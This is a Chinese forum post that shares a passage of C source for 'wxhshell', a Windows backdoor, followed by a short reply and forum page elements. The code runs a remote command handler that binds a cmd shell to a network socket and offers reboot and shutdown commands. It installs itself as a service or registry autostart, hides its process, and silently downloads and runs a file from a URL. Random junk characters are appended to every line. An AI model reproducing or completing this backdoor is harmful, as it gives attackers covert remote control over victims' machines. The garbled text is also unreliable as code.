  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @[v,q_^8  
  } AcJrJS)~  
  else { 3zmbx~| =\  
$[Ut])4 ~  
    switch(cmd[0]) { .p Mwa  
  :W>PKW`^  
  // 帮助 =i}lh}(  
  case '?': { 8,F|*YA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Aua}.Fl,  
    break; UvU@3[fw  
  } $KT)Kz8tF  
  // 安装 )zy ;!  
  case 'i': { <l!:#u  
    if(Install()) tZx}/&m-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); amExZ/  
    else s;l"'6:_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & E6V'*<93  
    break; mcidA%  
    } o&M.9V?~~  
  // 卸载 _PGd\>Ve  
  case 'r': { W!"QtEJ,  
    if(Uninstall()) !5h8sD;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"E3ypPK  
    else _B^X3EOc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xk'Pc0@a  
    break; ' -9=>  
    } O> _ F   
  // 显示 wxhshell 所在路径 B1Pi+-t  
  case 'p': { @*|UyK.   
    char svExeFile[MAX_PATH]; ]a.^F  
    strcpy(svExeFile,"\n\r"); ;"#yHP`  
      strcat(svExeFile,ExeFile); KT 6 ppo  
        send(wsh,svExeFile,strlen(svExeFile),0); #=0 BjW*  
    break; b LGC  
    } 1he5Zevm}  
  // 重启 v>nBdpjXh  
  case 'b': { rtbV*@Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p(="73  
    if(Boot(REBOOT)) AEx VKy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ntvd7"`}  
    else { l1`r%9gr  
    closesocket(wsh); @(*A<2;N  
    ExitThread(0); 3P>1-=  
    } Dk$<fMS,7c  
    break; @vib54G  
    } 3*\Q]|SI!  
  // 关机 oa=TlBk<  
  case 'd': { *_J{_7pwe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _<F;&(o  
    if(Boot(SHUTDOWN)) N^wHO<IO 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =j~:u.hc'  
    else { o%`=+- K  
    closesocket(wsh); 'Q 7^bF^  
    ExitThread(0); 8sBT&A6&j  
    } ,uNJz-B8  
    break; dIh+h|:  
    } g]N'6La  
  // 获取shell tcRJ1:d  
  case 's': { cX4]ViXSr  
    CmdShell(wsh); K1R?Qt,qDF  
    closesocket(wsh); 9c*B%A8J  
    ExitThread(0); ")txFe  
    break; 9LBZMQ  
  } Dm}M8`|X  
  // 退出 zkqn>  
  case 'x': { F#) bGi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z%T|L[(6  
    CloseIt(wsh); L A A(2  
    break; XpkOCo02  
    } dKD:mU",M  
  // 离开 \o72VHG66  
  case 'q': { -&]!ig5v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l\Ww^   
    closesocket(wsh); D:IG;Rsc  
    WSACleanup(); M=&,+#z<V  
    exit(1); /J!:_Nq  
    break; @x743}Y\  
        } nN-S5?X#  
  } xsPt  
  } )[M:#;,L  
olL? 6)gC  
  // 提示信息 1ZRkVHiz0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q &{<HcP  
} X's<+hK&  
  } #pK" ^O*!  
S-Bx`e9'  
  return; i'>5vU0?3  
} )cP)HbOd=  
4 83rU  
// shell模块句柄 'DpJ#w\81  
int CmdShell(SOCKET sock) q{B?j%.o  
{ wsH_pF  
STARTUPINFO si; q~W:W}z  
ZeroMemory(&si,sizeof(si)); bX:h"6{=R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q3h& V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dT?3Q;>B?  
PROCESS_INFORMATION ProcessInfo; z5~W >r  
char cmdline[]="cmd"; f.66N9BHL,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :-Py0{s  
  return 0; dVHbIx  
} R1w5,Zt  
:{lP9%J-  
// 自身启动模式 +w?R4Sxjn  
int StartFromService(void) IPYwUix  
{ [2Nux0g  
typedef struct s/C'f4  
{ LGW_7&0<<  
  DWORD ExitStatus; <m1v+cnqo  
  DWORD PebBaseAddress; -MTYtw(  
  DWORD AffinityMask; K r|.I2?"  
  DWORD BasePriority; ^[Ka+E^Q  
  ULONG UniqueProcessId;  O&|<2Qr  
  ULONG InheritedFromUniqueProcessId; -<5{wQE;|  
}   PROCESS_BASIC_INFORMATION; GQCdB>   
Z(Y:  
PROCNTQSIP NtQueryInformationProcess; d(ypFd9z  
T{f$S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qe ip h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J,u-)9yBA<  
7[u>#8  
  HANDLE             hProcess; 2u!&Te(!9  
  PROCESS_BASIC_INFORMATION pbi; $of2lA  
XM` H@s7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yzzJKucVU:  
  if(NULL == hInst ) return 0; YC56] Zp  
4G&dBH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LfFXYX^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $YcB=l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w( XZSE  
SUUN_w~  
  if (!NtQueryInformationProcess) return 0; 3z2 OW@zL$  
6(4d3}F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6X m'^T  
  if(!hProcess) return 0; T :m" eD;  
CPRVSN0b{4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; { $yju_[  
/"j 3B\`?  
  CloseHandle(hProcess); ;`:YZ+2 Z  
1,bE[_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,#&7+e!]>P  
if(hProcess==NULL) return 0; 5Lej_uqF   
T>L?\-  
HMODULE hMod; lG94^|U  
char procName[255]; y;8&J{dd  
unsigned long cbNeeded; N 1Ag .  
6b'.WB]-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >,]8iMh  
*tEqu%N1'  
  CloseHandle(hProcess); H;=Fq+  
{A:uy  
if(strstr(procName,"services")) return 1; // 以服务启动 DR:$urU$  
}AJoF41X  
  return 0; // 注册表启动 hp9U   
} A!x&,<  
a6e{bAuq  
// 主模块 Q-gVg%'7  
int StartWxhshell(LPSTR lpCmdLine) m Jk\$/Kh  
{ )(-;H|]?  
  SOCKET wsl; gC/ e]7FNr  
BOOL val=TRUE; Uza '%R  
  int port=0; TSsZzsdr2  
  struct sockaddr_in door; [{BY$"b#:  
bD:0k.`  
  if(wscfg.ws_autoins) Install();  L1 /`/  
Cg]),S  
port=atoi(lpCmdLine); Im/tU6ybV  
uu,F5<y[  
if(port<=0) port=wscfg.ws_port; ZqVbNIY   
'OziP  
  WSADATA data; "W(Ae="60  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k_0@,b 3  
lYQ|NL():  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qclc--fsE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }>0>OqvF  
  door.sin_family = AF_INET; yivu|q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &.*UVc2+Y  
  door.sin_port = htons(port); 4.jRTL5-oj  
/]xa}{^B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )XK\[tL  
closesocket(wsl); $P0q!  
return 1; '!Hs"{~{  
} 6,3o_"J!  
crP2jF!  
  if(listen(wsl,2) == INVALID_SOCKET) { d"#Zp&#  
closesocket(wsl); j"69uj` R  
return 1; `<X-3)>;G  
} J}X{8Ds9  
  Wxhshell(wsl); 6- i.*!I 8  
  WSACleanup(); ][MtG  
L#UR>Z#9  
return 0; +ZOiL[rS  
uD&B{c+a  
} =W.}&  
qMNW w\k  
// 以NT服务方式启动 P)=.D u)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lau@HYW0  
{ ;X,u   
DWORD   status = 0; "[|b,fxR  
  DWORD   specificError = 0xfffffff; e}e8WR=B  
ns8s2kYcm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x 6`!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }bjZeh.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FoyYWj?,R  
  serviceStatus.dwWin32ExitCode     = 0; ' {,xQf*x  
  serviceStatus.dwServiceSpecificExitCode = 0; XZM3zlg*  
  serviceStatus.dwCheckPoint       = 0; `NsjtT'_  
  serviceStatus.dwWaitHint       = 0; sV  
.9qK88fUR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lZ\8W^  
  if (hServiceStatusHandle==0) return; S13cQ?4  
GrL{q;IO  
status = GetLastError(); ^QRg9s,T<  
  if (status!=NO_ERROR) Iv6 q(c  
{ /8h=6"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H0Pxw P>q  
    serviceStatus.dwCheckPoint       = 0; KeQcL4<  
    serviceStatus.dwWaitHint       = 0; YZBh}l6t  
    serviceStatus.dwWin32ExitCode     = status; kW g.-$pp  
    serviceStatus.dwServiceSpecificExitCode = specificError; (8JU!lin  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G* cAlU  
    return; } p'ZMj&  
  } ;hX(/T  
vjGQ!xF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Z9DewwP  
  serviceStatus.dwCheckPoint       = 0;  Z.6dL  
  serviceStatus.dwWaitHint       = 0; hi0HEm\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8vY-bm,e  
} >d2Fa4u3  
Q6@<7E]y  
// 处理NT服务事件,比如:启动、停止 ^"/^)Lb!@M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &N|$G8\CY  
{ Iry$z^  
switch(fdwControl) 9B: 3Ha=  
{ DZ8|20b  
case SERVICE_CONTROL_STOP: ` R6`"hx$  
  serviceStatus.dwWin32ExitCode = 0; \2i7\U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #&&T1;z"#  
  serviceStatus.dwCheckPoint   = 0; _>;Wz7  
  serviceStatus.dwWaitHint     = 0; !Lf<hS^  
  { V)`2 Kw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IY`p7 )#i  
  } =?fz-HB  
  return; $<^t][{  
case SERVICE_CONTROL_PAUSE: Dm>"c;2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IU%|K~_n  
  break; NI >%v  
case SERVICE_CONTROL_CONTINUE: 4>hHUz[_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y/lF1{}5  
  break; @X2*O9  
case SERVICE_CONTROL_INTERROGATE: |p11Jt[  
  break; -Aj)<KNx[  
}; (\9`$   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #< im?  
} 6[> lzEZ  
X*8y"~X|vq  
// 标准应用程序主函数 *v>ZE6CL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -u2i"I730  
{ n +~Dc[  
xP9(J 0y  
// 获取操作系统版本 SUncQJJ0S*  
OsIsNt=GetOsVer(); :d36oiHKu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7F^d-  
3$$E0`7.  
  // 从命令行安装 -4a9BE".  
  if(strpbrk(lpCmdLine,"iI")) Install(); #WpkL]g2+%  
{meX2Z4  
  // 下载执行文件 nM )C^$3<t  
if(wscfg.ws_downexe) { O !L`0 =%c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VM"cpC_8  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Z5^WHwg  
} [VCC+_  
tZrc4$D-  
if(!OsIsNt) { kNEEu! G  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lsmcj{1d  
HideProc(); ^PksXfk  
StartWxhshell(lpCmdLine); J3K=z  
} 7|P kc(O  
else U@lc 1#  
  if(StartFromService()) yBIlwN`kB  
  // 以服务方式启动 Y?T{>"_W  
  StartServiceCtrlDispatcher(DispatchTable); `BPTcL<W  
else %`vzQt`>  
  // 普通方式启动 w2 )Ro:G  
  StartWxhshell(lpCmdLine); o u|emAV  
o\AnM5  
return 0; $`=p]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八